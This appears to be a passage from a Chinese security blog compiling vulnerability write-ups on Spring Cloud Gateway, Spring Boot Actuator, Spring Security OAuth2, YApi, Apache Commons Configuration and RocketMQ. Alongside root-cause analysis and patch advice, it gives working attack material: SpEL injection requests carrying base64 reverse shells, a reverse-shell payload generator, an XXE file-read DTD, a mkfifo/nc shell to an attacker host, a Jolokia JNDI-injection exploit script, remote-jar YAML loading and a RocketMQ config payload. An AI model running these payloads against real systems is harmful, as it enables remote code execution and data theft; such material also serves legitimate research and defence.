User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

查看所有路由

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes HTTP/1.1
Host: 123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

最后,发送一个 DELETE 请求来删除我们的恶意路由器:

1
2
3
4
5
6
7
8
9
10
DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

image
删除后用记得也用refresh

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}

删去new String[]初始化,直接将base64的反弹shell命令放入填入
生成base64那个站点崩了,可以自己写个python

1
2
3
4
5
6
import base64


base64_str = input("请输入反弹shell命令,如:bash -i >& /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
image
可以看到删除了默认的StandardEvaluationContext,改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
如果需要Actuator端点,则应使用Spring Security对其进行保护

YApi命令执行漏洞(MPS-2022-60494)安全风险通告

YApi命令执行漏洞(MPS-2022-60494)安全风险通告

本文转自奇安信 CERT 并作补充

项目介绍

YApi 是高效、易用、功能强大的 API管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护API。
近日,奇安信CERT监测到YApi命令执行漏洞,远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。

漏洞概述

YApi中存在命令执行漏洞,远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令。

影响版本

YApi < 1.12.0

修复方式

一、版本升级

目前官方已有可更新版本,建议受影响用户更新至 1.12.0 及以上版本。
注:

  1. YApi 1.11.0版本已修复Mongo注入获取Token的问题,导致攻击者无法在未授权的情况下利用此漏洞。
  2. 在YApi 1.12.0的版本更新中,仅默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用。

二、缓解措施

  1. 在业务允许的情况下,建议将YApi部署在内网,禁止外网访问。
  2. 修改默认token加密的盐:
    编辑项目根目录中的config.json,添加”passsalt”:”任意随机值”,如:
    "passsalt":"this_is_a_test"
    保存,重启YApi服务即可。

参考链接

https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c?diff=split

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

本文转自棱镜七彩 并作补充

项目介绍

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。它提供了一组可以在Spring应用上下文中配置的Bean,充分利用了Spring IoC,DI(控制反转Inversion of Control ,DI:Dependency Injection 依赖注入)和AOP(面向切面编程)功能,为应用系统提供声明式的安全访问控制功能,减少了为企业系统安全控制编写大量重复代码的工作。

项目地址

https://spring.io/projects/spring-security

漏洞概述

Spring Security 的受影响版本中存在权限提升漏洞,攻击者可以修改客户端通过浏览器向授权服务器发出的请求,如果授权服务器在后续使用包含空作用域列表的 ’OAuth2 Access Token Response‘ 响应来获取访问token,攻击者可以获得权限提升,以特权身份执行恶意代码。

影响版本

org.springframework.security:spring-security-oauth2-client@[5.6, 5.6.9)
org.springframework.security:spring-security-oauth2-client@[5.7, 5.7.5)

环境搭建

  1. 下载并使用spring官方提供的样例进行测试
  2. 分别启动login和authorization-server,官方提供的authorization-server默认账号密码是user、password

漏洞分析

该漏洞是一个Spring Security Oauth2的逻辑漏洞,要想明白该漏洞,我们必须先了解下什么是Oauth2。
简单说,OAuth2 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
OAuth 2.0 规定了四种获得令牌的流程:
授权码(authorization-code)
隐藏式(implicit)
密码式(password)
客户端凭证(client credentials)
授权码模式最常用,该模式的整个授权过程的时序图如下:

image

CVE-2022-31692漏洞产生的原因在于最后返回token时分配的scope不当,在spring security 中,应用向授权服务器请求token的代码如下:

image

上述标注的代码会判断AccessTokenResponse.scope是否为空,如果条件成立,则会使用当前client配置的scope。而scope代表的是令牌有权限范围。也就是说当授权服务器返回的scope为空,则客户端权限提升至最大。因此存在权限提升漏洞。
官方修复commit如下,分析代码可知spring security实现了三种认证模式并全部修复了漏洞。

image

三种模式的修复代码都是类似的,选其中一个分析,从修复代码可知修复后直接使用授权服务器返回的内容。

image

修复方式

升级到最新版

参考链接

OAuth2.0究竟是个啥?看完这13张图你就明白了! - 腾讯云开发者社区-腾讯云
CVE-2022-31690: Privilege Escalation in spring-security-oauth2-client
Spring-Security Commit:Fix scope mapping
OAuth 2.0 的一个简单解释
[iThome鐵人賽 2022] Day31 (CVE-2022-31692) Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?! - YouTube

Spring Boot Actuator 漏洞利用

Spring Boot Actuator 漏洞利用

本文转自诺言 并作补充

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。
image

影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

1
2
3
4
5
6
7
8
9
10
11
12
路径            描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。
image

Spring Boot 2.x版本端点移动到/actuator/路径。
image

本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。
访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。
image

访问/env端点获取环境属性。
数据库账户泄漏
image

Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。
image

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件

1
2
3
4
5
logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>
1
2
3
4
fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。
image

3、远程访问logback.xml文件。

1
www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。
image

远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

1
ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

下载rce利用代码
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。
image
使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行mvn clean install
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。
image

image

1
2
3
4
5
修改logback.xml文件内容。

<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

vps使用nc监听反弹shell指定的端口。
nc -lvp 9998
在漏洞url访问:
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml
image
成功反弹shell。
image

createJNDIRealm方法

相关原理请查看Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
image

利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
可以使用burp一步步重放,也可以直接使用python脚本执行。
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

使用nc监听反弹的端口nc -lvp 9998
image

使用python发送请求python exp.py http://x.x.x.x:8087
image

成功反弹shell。
image

spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
更改执行的命令。
image

1
2
3
4
将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。
修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

1
2
3
4
5
6
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

image

请求 /refresh 接口触发

1
2
3
4
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。
image

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

本文转自星阑科技 并作补充

漏洞描述

7月6日,Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在目标服务器上实现任意代码执行。

相关介绍

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。

利用范围

2.4 <= Apache Commons Configuration <=2.7

前置知识

什么是变量插值?

通常我们用apach的configuration2库来管理配置文件(org.apache.commons:commons-configuration2),在commons-configuration2管理的配置文件中,配置变量的值可以引用变量。举个例子:${env:xxhzz}就指代环境变量xxhzz,在commons-configuration2中这种引用动态变量的方式就叫变量插值。

变量插值解析:在commons-configuration2中,负责对字符串中的变量进行解析的是org.apache.commons.configuration2.interpol.ConfigurationInterpolator类中的interpolate(Object)方法。

漏洞原理

image

从漏洞通告中,可以得知Apache Commons Configuration执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup 实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到“script” 可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

环境搭建

了解了漏洞原理后,为更好理解漏洞的形成,需构建一个调试的demo环境。

通过maven直接引入Apache Commons Configuration2.7。

image

接着构建一个触发漏洞的主类即可

image

动态调式

在对插值变量进行解析的地方打下断点。

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate

image

开启debug模式,在经过了前两个if判断之后,随后会进入resolveSingleVariable函数。

image

在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable中首先跟一下extractVariableName函数。

image

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName的作用是提取变量字符串strValue。

image

随后进入org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve函数中,通过index0f查找和判断条件,从变量字符串中分别获取到prefix和name。

image

继续跟进会进入lookup函数。

image

在分析lookup函数前先跟进下fetchLookupForPrefix函数。

image

fetchLookupForPrefix函数的作用是获取到stringLookup对象。

继续跟进,会进入commons-text-1.8.jar包中的org.apache.commons.text.lookup.ScriptStringLookup#lookup函数。

image

在org.apache.commons.text.lookup.ScriptStringLookup#lookup函数中会再次对字符串进行分割,分别提取engineName和script。

image

接着会通过getEngineByName函数获取ScriptEngine(javax.script)。

image

继续往下,出现eval函数。而我们知道eval函数可计算某个字符串,并执行其中的的JavaScript 代码。

image

继续往下将成功触发我们传入的payload,造成远程命令执行。

漏洞复现

image

​成功命令执行。

image

修复建议

目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到 Apache Commons Configuration 2.8.0 版本。
https://commons.apache.org/proper/commons-configuration/download_configuration.cgi

参考材料

1.https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
2.https://cloud.tencent.com/devel

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

本文转自Sunflower@知道创宇404实验室 并作补充

1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.环境搭建

使用docker拉取漏洞环境

1
docker pull apache/rocketmq:4.9.5

运行docker run命令,搭建docker环境

1
2
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps检查docker正常启动即可

image

4.RocketMQ简介

我们平时使用一些体育新闻软件,会订阅自己喜欢的一些球队板块,当有作者发表文章到相关的板块,我们就能收到相关的新闻推送。

发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?

image

4.2 名字服务器 NameServer

NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。

主要包括两个功能:
Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活;
路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。

4.3 代理服务器 Broker

Broker主要负责消息的存储、投递和查询以及服务高可用保证。

NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。

在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。

4.4 消息收发

在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。

代码中指定Name Server地址,多个namesrv地址之间用分号分割

1
2
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");

Java启动参数中指定Name Server地址

1
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  

环境变量指定Name Server地址

1
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876

4.5 漏洞主要涉及的类的介绍

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。

DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):

1
2
3
4
5
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}

4.5.2 FilterServerManager

在 Apache RocketMQ 中,FilterServerManager 类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。

5.漏洞分析

补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:

在Broker启动时执行sh mqbroker…,调用到BrokerStartup类:

image

在该类中继续调用到BrokerController中的start()方法

image

继续跟进

image

最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public void start() {

this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}

if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}

if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}

根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,

1
2
3
4
5
6
7
8
9
10
11
12
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。

但是要想成功触发命令执行还有两个问题需要解决一下:

1、在createFilterServer方法中,more的值要大于0才会触发callShell方法

1
2
3
4
5
6
7
8
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}

意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。

sh {可控}/bin/startfsrv.sh ... 如果传入 -c curl 127.0.0.1;

那么comArray为 ['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:

-c $@|sh . echo curl 127.0.0.1;

$@ 作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。

感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法:

顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload构造

根据上面的知识,最终构造的payload为:

1
2
3
4
5
6
7
8
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
